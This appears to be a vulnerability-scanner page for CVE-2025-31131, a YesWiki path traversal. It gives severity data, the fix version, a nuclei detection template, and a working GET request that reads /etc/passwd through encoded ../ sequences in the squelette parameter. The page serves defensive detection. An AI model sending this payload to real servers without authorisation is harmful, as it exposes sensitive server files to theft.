Yeswiki < 4.5.2 - Unauthenticated Path Traversal

highseverity

8.6CVSS score

5.6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.

Impact

Unauthenticated attackers can exploit path traversal through the squelette parameter to read arbitrary files from the YesWiki server, potentially exposing sensitive configuration and data files.

Fix

This vulnerability is fixed in 4.5.2.

How to confirm it

Send: GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css
Positive when: contains in header "YesWiki-main" AND matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2025-31131 -u <target>

The full check

id: CVE-2025-31131

info:
  name: Yeswiki < 4.5.2 - Unauthenticated Path Traversal
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.
  impact: |
    Unauthenticated attackers can exploit path traversal through the squelette parameter to read arbitrary files from the YesWiki server, potentially exposing sensitive configuration and data files.
  remediation: |
    This vulnerability is fixed in 4.5.2.
  reference:
    - https://github.com/advisories/GHSA-w34w-fvp3-68xm
    - https://github.com/YesWiki/yeswiki/commit/f78c915369a60c74ab8f38561ae93a4aaca9b989
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w34w-fvp3-68xm
  classification:
    epss-score: 0.05581
    epss-percentile: 0.92949
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-31131
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"yeswiki"
  tags: cve,cve2025,yeswiki,lfi,vuln

http:
  - raw:
      - |
        GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - YesWiki-main

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from